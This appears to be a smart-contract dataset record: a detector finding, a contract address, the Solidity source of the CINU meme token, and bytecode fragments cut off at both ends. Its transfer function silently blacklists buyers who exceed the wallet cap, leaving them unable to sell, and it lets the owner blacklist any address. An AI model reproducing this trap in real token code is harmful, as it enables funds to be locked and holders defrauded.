61790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206388d8eb1c90ccb319e1db821fbd8de06a4a4cc72ed909f0199fc4e7c0f8d05764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,335 |
0xd3b157e3339ba7d0939b1af1786c23ad20d05282
|
//https://castlevaniainu.com/
//https://t.me/castlevaniainu
//👽CASTLEVANIA INU TOKEN 👽
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private maxTxAmount = _tTotal;
uint256 private maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private setTax;
uint256 private setRedis;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "CINU";
string private constant _symbol = "CINU";
uint256 private constant _minEthToSend = 300000000000000000;
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2) {
require(_add1 != address(0)); //Making Sure Fee address is not zero
require(_add2 != address(0));
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_rOwned[_feeAddrWallet1] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), _feeAddrWallet1, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if(!(_isExcludedFromFee[from] || _isExcludedFromFee[to])){
if (from != address(this)) {
require(amount <= maxTxAmount);
_feeAddr1 = setRedis;
_feeAddr2 = setTax;
if(to != uniswapV2Pair){
if(balanceOf(to)+ (amount *(1- _feeAddr2/100)) > maxWalletAmount){
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > _minEthToSend) {
sendETHToFee(address(this).balance);
}
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 toSend = amount/5;
_feeAddrWallet2.transfer(toSend);
_feeAddrWallet1.transfer(amount - toSend);
}
function liftMaxTrnx() external onlyOwner{
maxTxAmount = _tTotal;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
setTax = 10;
setRedis = 0;
maxTxAmount = _tTotal/50;
maxWalletAmount = _tTotal/20;
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610352578063c9567bf914610369578063dd62ed3e14610380578063eb91e651146103bd578063f9f92be4146103e657610114565b8063715018a6146102a85780638da5cb5b146102bf57806395d89b41146102ea578063a9059cbb1461031557610114565b8063313ce567116100dc578063313ce567146101e957806335ffbc47146102145780635932ead11461022b5780636fc3eaec1461025457806370a082311461026b57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b91906127c4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906123dd565b61044c565b60405161017891906127a9565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a391906128e6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061238e565b61047b565b6040516101e091906127a9565b60405180910390f35b3480156101f557600080fd5b506101fe610554565b60405161020b919061295b565b60405180910390f35b34801561022057600080fd5b5061022961055d565b005b34801561023757600080fd5b50610252600480360381019061024d9190612419565b610604565b005b34801561026057600080fd5b506102696106b6565b005b34801561027757600080fd5b50610292600480360381019061028d9190612300565b610728565b60405161029f91906128e6565b60405180910390f35b3480156102b457600080fd5b506102bd610779565b005b3480156102cb57600080fd5b506102d46108cc565b6040516102e191906126db565b60405180910390f35b3480156102f657600080fd5b506102ff6108f5565b60405161030c91906127c4565b60405180910390f35b34801561032157600080fd5b5061033c600480360381019061033791906123dd565b610932565b60405161034991906127a9565b60405180910390f35b34801561035e57600080fd5b50610367610950565b005b34801561037557600080fd5b5061037e6109ca565b005b34801561038c57600080fd5b506103a760048036038101906103a29190612352565b610f5f565b6040516103b491906128e6565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df9190612300565b610fe6565b005b3480156103f257600080fd5b5061040d60048036038101906104089190612300565b6110d6565b005b60606040518060400160405280600481526020017f43494e5500000000000000000000000000000000000000000000000000000000815250905090565b60006104606104596111c6565b84846111ce565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610488848484611399565b610549846104946111c6565b61054485604051806060016040528060288152602001612e3560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170e9092919063ffffffff16565b6111ce565b600190509392505050565b60006009905090565b6105656111c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e990612866565b60405180910390fd5b683635c9adc5dea00000600a81905550565b61060c6111c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090612866565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f76111c6565b73ffffffffffffffffffffffffffffffffffffffff161461071757600080fd5b600047905061072581611772565b50565b6000610772600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611864565b9050919050565b6107816111c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080590612866565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f43494e5500000000000000000000000000000000000000000000000000000000815250905090565b600061094661093f6111c6565b8484611399565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109916111c6565b73ffffffffffffffffffffffffffffffffffffffff16146109b157600080fd5b60006109bc30610728565b90506109c7816118d2565b50565b6109d26111c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5690612866565b60405180910390fd5b601360149054906101000a900460ff1615610aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa6906128c6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b3f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111ce565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8557600080fd5b505afa158015610b99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bbd9190612329565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1f57600080fd5b505afa158015610c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c579190612329565b6040518363ffffffff1660e01b8152600401610c749291906126f6565b602060405180830381600087803b158015610c8e57600080fd5b505af1158015610ca2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc69190612329565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d4f30610728565b600080610d5a6108cc565b426040518863ffffffff1660e01b8152600401610d7c96959493929190612748565b6060604051808303818588803b158015610d9557600080fd5b505af1158015610da9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dce919061246b565b505050600a600e819055506000600f819055506032683635c9adc5dea00000610df79190612a21565b600a819055506014683635c9adc5dea00000610e139190612a21565b600b819055506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f0992919061271f565b602060405180830381600087803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5b9190612442565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fee6111c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290612866565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110de6111c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116290612866565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906128a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a590612806565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161138c91906128e6565b60405180910390a3505050565b600081116113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390612886565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561143357600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114d45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116fe573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116fd57600a5481111561151a57600080fd5b600f54600c81905550600e54600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461161d57600b546064600d546115939190612a21565b600161159f9190612aac565b826115aa9190612a52565b6115b384610728565b6115bd91906129cb565b111561161c576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b600061162830610728565b90506103e8683635c9adc5dea000006116419190612a21565b8111156116fb57601360159054906101000a900460ff161580156116b35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750601360169054906101000a900460ff165b156116fa576116d9816118d2565b6000479050670429d069189e00008111156116f8576116f747611772565b5b505b5b505b5b611709838383611bcc565b505050565b6000838311158290611756576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174d91906127c4565b60405180910390fd5b50600083856117659190612aac565b9050809150509392505050565b60006005826117819190612a21565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117eb573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82846118349190612aac565b9081150290604051600060405180830381858888f1935050505015801561185f573d6000803e3d6000fd5b505050565b60006008548211156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a2906127e6565b60405180910390fd5b60006118b5611bdc565b90506118ca8184611c0790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611930577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561195e5781602001602082028036833780820191505090505b509050308160008151811061199c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a3e57600080fd5b505afa158015611a52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a769190612329565b81600181518110611ab0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b1730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111ce565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b7b959493929190612901565b600060405180830381600087803b158015611b9557600080fd5b505af1158015611ba9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b611bd7838383611c51565b505050565b6000806000611